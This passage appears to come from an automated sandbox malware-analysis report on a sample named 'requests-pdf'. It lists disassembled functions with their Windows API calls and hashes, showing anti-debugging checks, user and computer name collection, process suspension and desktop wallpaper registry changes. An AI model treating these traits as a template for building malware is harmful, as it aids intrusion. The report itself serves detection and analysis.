                                                    • Opcode Fuzzy Hash: 0a607b4a7b5ecc12f789a4cc2078a46f2f116dcd92e244ce5a1d878263211a66
                                                    • Instruction Fuzzy Hash: C321C5B46043415BDF10FBB188B8A6F279BAF80344F80486FE90B975C5EF64C8468B56
                                                    Function 0043A65D Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0043A755
                                                    • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0043A75F
                                                    • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0043A76C
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                    • String ID:
                                                    • API String ID: 3906539128-0
                                                    • Opcode ID: 3fa352bae2dd0906ed67bad857870cf194ce26166e1b5da63b4ea542d53f5057
                                                    • Instruction ID: 15fc2c217458336097e8e19d69e2940e7c5a4b77666d4e23b7e272f62fea865b
                                                    • Opcode Fuzzy Hash: 3fa352bae2dd0906ed67bad857870cf194ce26166e1b5da63b4ea542d53f5057
                                                    • Instruction Fuzzy Hash: 2D31D47490121CABCB21DF64D98979DBBB8BF08310F5052EAE81CA7251E7349F81CF49
                                                    Function 0250A8C4 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0250A9BC
                                                    • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0250A9C6
                                                    • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0250A9D3
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                    • String ID:
                                                    • API String ID: 3906539128-0
                                                    • Opcode ID: 3fa352bae2dd0906ed67bad857870cf194ce26166e1b5da63b4ea542d53f5057
                                                    • Instruction ID: a0549804d9c788b28571a37a70a2e86a0ee53775a647900689320c6d49e7b52f
                                                    • Opcode Fuzzy Hash: 3fa352bae2dd0906ed67bad857870cf194ce26166e1b5da63b4ea542d53f5057
                                                    • Instruction Fuzzy Hash: 6C31C475901319ABCB21DF64DC887DCBBB8BF48310F5046EAE80CA7291E7749B818F48
                                                    Function 0043293A Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,?,00000001,004326C2,00000024,?,?,?), ref: 0043294C
                                                    • CryptGenRandom.ADVAPI32(?,?,?,?,?,?,?,?,?,0042CBBE,?), ref: 00432962
                                                    • CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,?,?,0042CBBE,?), ref: 00432974
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Crypt$Context$AcquireRandomRelease
                                                    • String ID:
                                                    • API String ID: 1815803762-0
                                                    • Opcode ID: 04772303a0a25dfd0b8e93efaf4bd4cd6a07a437a7117abaa9b2762516ca9460
                                                    • Instruction ID: 80435fde6f6b62f03973a002229794bf261f16e8857de4c024377aa862d1bdf3
                                                    • Opcode Fuzzy Hash: 04772303a0a25dfd0b8e93efaf4bd4cd6a07a437a7117abaa9b2762516ca9460
                                                    • Instruction Fuzzy Hash: 11E06D31308211BBEB310E25BC08F573F94AF89B71F71053AB211E40E4C2A188419A1C
                                                    Function 02502BA1 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,00471B2C,00000000,0250282C,00000034,00471B2C,?,?), ref: 02502BB3
                                                    • CryptGenRandom.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,025028BE,00000000,?,00000000), ref: 02502BC9
                                                    • CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,?,025028BE,00000000,?,00000000,024ED9C7), ref: 02502BDB
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Crypt$Context$AcquireRandomRelease
                                                    • String ID:
                                                    • API String ID: 1815803762-0
                                                    • Opcode ID: 04772303a0a25dfd0b8e93efaf4bd4cd6a07a437a7117abaa9b2762516ca9460
                                                    • Instruction ID: 5466f34bbe0d104de750a08a61d08d09be34717277e78695154576b372afa4ab
                                                    • Opcode Fuzzy Hash: 04772303a0a25dfd0b8e93efaf4bd4cd6a07a437a7117abaa9b2762516ca9460
                                                    • Instruction Fuzzy Hash: 8FE06D3120C210BAEB310E25BC48F663A94AB81B71F600A38BA55E40E4D6618440851C
                                                    Function 00442554 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCurrentProcess.KERNEL32(?,?,0044252A,?), ref: 00442575
                                                    • TerminateProcess.KERNEL32(00000000,?,0044252A,?), ref: 0044257C
                                                    • ExitProcess.KERNEL32 ref: 0044258E
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CurrentExitTerminate
                                                    • String ID:
                                                    • API String ID: 1703294689-0
                                                    • Opcode ID: 7c471b5b7a391410b3ce269feae26e49b4a02911a71997b74fd7744fcc246e6d
                                                    • Instruction ID: 6e58600c80f72e94ca833af3256d2da28fe7ef7edb4b61bff2e48710a34f1207
                                                    • Opcode Fuzzy Hash: 7c471b5b7a391410b3ce269feae26e49b4a02911a71997b74fd7744fcc246e6d
                                                    • Instruction Fuzzy Hash: 65E08C31004648BFDF016F14EE18A893F29EF10346F408475F80A8A632CFB9DE92CB88
                                                    Function 025127BB Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCurrentProcess.KERNEL32(00000000,?,02512791,00000000,0046DAE0,0000000C,025128E8,00000000,00000002,00000000), ref: 025127DC
                                                    • TerminateProcess.KERNEL32(00000000,?,02512791,00000000,0046DAE0,0000000C,025128E8,00000000,00000002,00000000), ref: 025127E3
                                                    • ExitProcess.KERNEL32 ref: 025127F5
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CurrentExitTerminate
                                                    • String ID:
                                                    • API String ID: 1703294689-0
                                                    • Opcode ID: 7c471b5b7a391410b3ce269feae26e49b4a02911a71997b74fd7744fcc246e6d
                                                    • Instruction ID: 9f2c6f0a094d7ed39b02076d6c35f495828af77efeef24188c130293fe98cfad
                                                    • Opcode Fuzzy Hash: 7c471b5b7a391410b3ce269feae26e49b4a02911a71997b74fd7744fcc246e6d
                                                    • Instruction Fuzzy Hash: 11E0B636004258EFDF156F55ED08A893F6AFF44356F004074FC098A532DB35ED82CA98
                                                    Function 0041ACC1 Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,004150C3,00000000), ref: 0041ACCC
                                                    • NtSuspendProcess.NTDLL(00000000), ref: 0041ACD9
                                                    • CloseHandle.KERNEL32(00000000,?,?,004150C3,00000000), ref: 0041ACE2
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CloseHandleOpenSuspend
                                                    • String ID:
                                                    • API String ID: 1999457699-0
                                                    • Opcode ID: 25604720b1c4003eaa4d94084830c6d0564ffd887a8d5c6f711170065f3891c4
                                                    • Instruction ID: f0940f0a464cb9da12e036c8bcda16370f3965740af83b573a45ae51f9acba0f
                                                    • Opcode Fuzzy Hash: 25604720b1c4003eaa4d94084830c6d0564ffd887a8d5c6f711170065f3891c4
                                                    • Instruction Fuzzy Hash: E7D0A733605131638221176A7C0CC87EE6CDFC1EB37024136F404C3220DA30C84186F4
                                                    Function 0041ACED Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,004150E8,00000000), ref: 0041ACF8
                                                    • NtResumeProcess.NTDLL(00000000), ref: 0041AD05
                                                    • CloseHandle.KERNEL32(00000000,?,?,004150E8,00000000), ref: 0041AD0E
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CloseHandleOpenResume
                                                    • String ID:
                                                    • API String ID: 3614150671-0
                                                    • Opcode ID: ac01971c7a5820b8bc970b7b2339e0980474906f6b9316b65cb607f099f400ad
                                                    • Instruction ID: b64f47c6af987b25b68fadd97e6a7e629856a7b738c344dffca8a71896aa998e
                                                    • Opcode Fuzzy Hash: ac01971c7a5820b8bc970b7b2339e0980474906f6b9316b65cb607f099f400ad
                                                    • Instruction Fuzzy Hash: DFD0A733504132638220176A7C0CC87EDADDFC5EB37024236F404C3621DA34C841C6F4
                                                    Function 024EAF54 Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,024E534F,00000000), ref: 024EAF5F
                                                    • NtResumeProcess.NTDLL(00000000), ref: 024EAF6C
                                                    • CloseHandle.KERNEL32(00000000,?,?,024E534F,00000000), ref: 024EAF75
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CloseHandleOpenResume
                                                    • String ID:
                                                    • API String ID: 3614150671-0
                                                    • Opcode ID: ac01971c7a5820b8bc970b7b2339e0980474906f6b9316b65cb607f099f400ad
                                                    • Instruction ID: bb36eb88e80dba21bb3e56ed75f1e438eefa9723c26edf72799d042b868f8eb7
                                                    • Opcode Fuzzy Hash: ac01971c7a5820b8bc970b7b2339e0980474906f6b9316b65cb607f099f400ad
                                                    • Instruction Fuzzy Hash: 58D05E33508131638220176A7C0C887EDA8DFC69B37024236F406C2220DA20C84186A4
                                                    Function 024EAF28 Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,024E532A,00000000), ref: 024EAF33
                                                    • NtSuspendProcess.NTDLL(00000000), ref: 024EAF40
                                                    • CloseHandle.KERNEL32(00000000,?,?,024E532A,00000000), ref: 024EAF49
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CloseHandleOpenSuspend
                                                    • String ID:
                                                    • API String ID: 1999457699-0
                                                    • Opcode ID: 25604720b1c4003eaa4d94084830c6d0564ffd887a8d5c6f711170065f3891c4
                                                    • Instruction ID: d7feddd0f01db4f0bbea09e4bb6fc467981c8691d930962be341db3f0c70ea4b
                                                    • Opcode Fuzzy Hash: 25604720b1c4003eaa4d94084830c6d0564ffd887a8d5c6f711170065f3891c4
                                                    • Instruction Fuzzy Hash: 08D0A733508131638220176A7C0CC87EEACDFC1DB37024176F409C3220DA30C84186F4
                                                    Function 024D092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: .$GetProcAddress.$l
                                                    • API String ID: 0-2784972518
                                                    • Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
                                                    • Instruction ID: b0565aad697c8152ef7232c43f8051432f08d31b45de38db0a0ec9799eb553a3
                                                    • Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
                                                    • Instruction Fuzzy Hash: 3B314AB6900609DFDB10CF99C880AAEBBF9FF48324F15508AD841A7350D7B1EA45CFA4
                                                    Function 0044D5E9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: .
                                                    • API String ID: 0-248832578
                                                    • Opcode ID: 97cc3c3166f0870dddbca3780dbfd7dbd2d9d0e9e098b336076252ce6a3ce59f
                                                    • Instruction ID: db76f937e81630575b2700384d205b0ac401e8f874fa32e43cac1aabc581782c
                                                    • Opcode Fuzzy Hash: 97cc3c3166f0870dddbca3780dbfd7dbd2d9d0e9e098b336076252ce6a3ce59f
                                                    • Instruction Fuzzy Hash: CB310471900209AFEB249E79CC84EEB7BBDDB86318F1101AEF91897251E6389D458B64
                                                    Function 0251D850 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: .
                                                    • API String ID: 0-248832578
                                                    • Opcode ID: 97cc3c3166f0870dddbca3780dbfd7dbd2d9d0e9e098b336076252ce6a3ce59f
                                                    • Instruction ID: 9890152c06463f636a0351dc675353471aa6c6647e767ca250889efe0ef3df80
                                                    • Opcode Fuzzy Hash: 97cc3c3166f0870dddbca3780dbfd7dbd2d9d0e9e098b336076252ce6a3ce59f
                                                    • Instruction Fuzzy Hash: C1312672800249AFEB249E78CC84EFA7BBEEF85314F0001A8F918D7295E7309A40CB54
                                                    Function 024EBDDE Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 024EBED3
                                                      • Part of subcall function 024E2939: RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,004655B0), ref: 024E2948
                                                      • Part of subcall function 024E2939: RegSetValueExA.ADVAPI32(004655B0,0046BE08,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,024EBEAD,0046BE08,004655B0,00000001,00473EE8,00000000), ref: 024E2970
                                                      • Part of subcall function 024E2939: RegCloseKey.ADVAPI32(004655B0,?,?,024EBEAD,0046BE08,004655B0,00000001,00473EE8,00000000,?,024D7C44,00000001), ref: 024E297B
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseCreateInfoParametersSystemValue
                                                    • String ID: Control Panel\Desktop
                                                    • API String ID: 4127273184-27424756
                                                    • Opcode ID: b2749757bbb715b84591827a24ab2664cb1dcc6a43466099e0f50718dd789739
                                                    • Instruction ID: bc4a28b68407430659a78f30234993c1e07b42fc676e13a937412e821e860184
                                                    • Opcode Fuzzy Hash: b2749757bbb715b84591827a24ab2664cb1dcc6a43466099e0f50718dd789739
                                                    • Instruction Fuzzy Hash: 48116022B8021032E919303E4D2BB7F6807E756B56F94411FEB036A7DAEAC7469107DB
                                                    Function 00450D42 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                    • EnumSystemLocalesW.KERNEL32(00450E6A,00000001,00000000,?,<D,?,00451497,00000000,?,?,?), ref: 00450DB4
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                    • String ID: <D
                                                    • API String ID: 1084509184-3866323178
                                                    • Opcode ID: 99518e0148a584110f8bf4689e731d5402797eff59b4f7bbd4ab81c0230e503e
                                                    • Instruction ID: b1cdb4a87285138648e71eec5b58018a028c0508cbf90fbfa4a5e64eba390ba2
                                                    • Opcode Fuzzy Hash: 99518e0148a584110f8bf4689e731d5402797eff59b4f7bbd4ab81c0230e503e
                                                    • Instruction Fuzzy Hash: 9C11293B2007055FDB189F79D8916BAB7A1FF8031AB14442DE94647741D375B846C744
                                                    Function 00450DDD Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                    • EnumSystemLocalesW.KERNEL32(004510BA,00000001,?,?,<D,?,0045145B,<D,?,?,?,?,?,00443CEC,?,?), ref: 00450E29
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                    • String ID: <D
                                                    • API String ID: 1084509184-3866323178
                                                    • Opcode ID: e0c48b72e2c1269c4cdc51d0e461bd75820cdd7fcb75359b91497d16354a5322
                                                    • Instruction ID: d323619e2976bd52c5edaa4f55efd93dda7e8b303aa23e489220a9c0c916f3e4
                                                    • Opcode Fuzzy Hash: e0c48b72e2c1269c4cdc51d0e461bd75820cdd7fcb75359b91497d16354a5322
                                                    • Instruction Fuzzy Hash: 5BF0223A2003045FDB145F3AD882AAB7B95EF81729B25842EFD058B782D275AC42C644
                                                    Function 00447597 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,?,?,00000004), ref: 004475EA
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: InfoLocale
                                                    • String ID: GetLocaleInfoEx
                                                    • API String ID: 2299586839-2904428671
                                                    • Opcode ID: 8dab955c83ead38f4190d8cd68b3baa1d28bcda2227728d0cef18aa89ebed625
                                                    • Instruction ID: 80a81796b135a3e0eaabc3ca7fb48afb6b687e063e78a0117ef0368584b3b56e
                                                    • Opcode Fuzzy Hash: 8dab955c83ead38f4190d8cd68b3baa1d28bcda2227728d0cef18aa89ebed625
                                                    • Instruction Fuzzy Hash: 82F0F031A44308BBDB11AF61EC06F6E7B25EF04712F00416AFC046A2A2CB359E11969E
                                                    Function 00440E20 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 5fe4b2cb4502993dbea9aed901accaaf97bf6201a09a40e91719f5fde44f0d4f
                                                    • Instruction ID: cffdc6bb8eb20f5336ace8b102e865ec7dcfb2cf624fb46ac032ba80a60d6a90
                                                    • Opcode Fuzzy Hash: 5fe4b2cb4502993dbea9aed901accaaf97bf6201a09a40e91719f5fde44f0d4f
                                                    • Instruction Fuzzy Hash: 8A024C71E002199BEF14CFA9C9806AEBBF1FF88314F25826AD919E7350D735AD45CB84
                                                    Function 02511087 Relevance: 3.5, APIs: 2, Instructions: 464COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 6f628971186b7869ff55a994468a376647b4631b563bdc3b7b4e6f267e50c07e
                                                    • Instruction ID: 517d867f68a71510b1aa83205f476e89618cbab035f190cfe2fa310e73622a2f
                                                    • Opcode Fuzzy Hash: 6f628971186b7869ff55a994468a376647b4631b563bdc3b7b4e6f267e50c07e
                                                    • Instruction Fuzzy Hash: 8A022B71E006199BEF14CFA9D8807ADBBF1FF88314F1582AAD919E7384D731A945CB84
                                                    Function 0041A7A2 Relevance: 3.0, APIs: 2, Instructions: 40COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetComputerNameExW.KERNEL32(00000001,?,0000002B,00474358), ref: 0041A7BF
                                                    • GetUserNameW.ADVAPI32(?,0040DFC3), ref: 0041A7D7
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Name$ComputerUser
                                                    • String ID:
                                                    • API String ID: 4229901323-0
                                                    • Opcode ID: b83c9b6e74ee29b4b3c5d203829dc1b50a3012795622bded812fc81b4dbbb1d6
                                                    • Instruction ID: 0a408ea7b536296bc4698588bf682dce528bd2697060893402f21fe22c13e40a
                                                    • Opcode Fuzzy Hash: b83c9b6e74ee29b4b3c5d203829dc1b50a3012795622bded812fc81b4dbbb1d6
                                                    • Instruction Fuzzy Hash: 8801FF7290011CAADB14EB90DC45ADDBBBCEF44715F10017AB501B21D5EFB4AB898A98
                                                    Function 004520D2 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,004520CD,?,?,00000008,?,?,00455412,00000000), ref: 004522FF
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ExceptionRaise
                                                    • String ID:
                                                    • API String ID: 3997070919-0
                                                    • Opcode ID: 10c23660bdf4a559c67b3dd21211c83afc8534fe451efaff8b0d30b37073b707
                                                    • Instruction ID: 47108b7899804ebb5d40a9255b8f0d240b678f8396b787326aeb691ef157153f
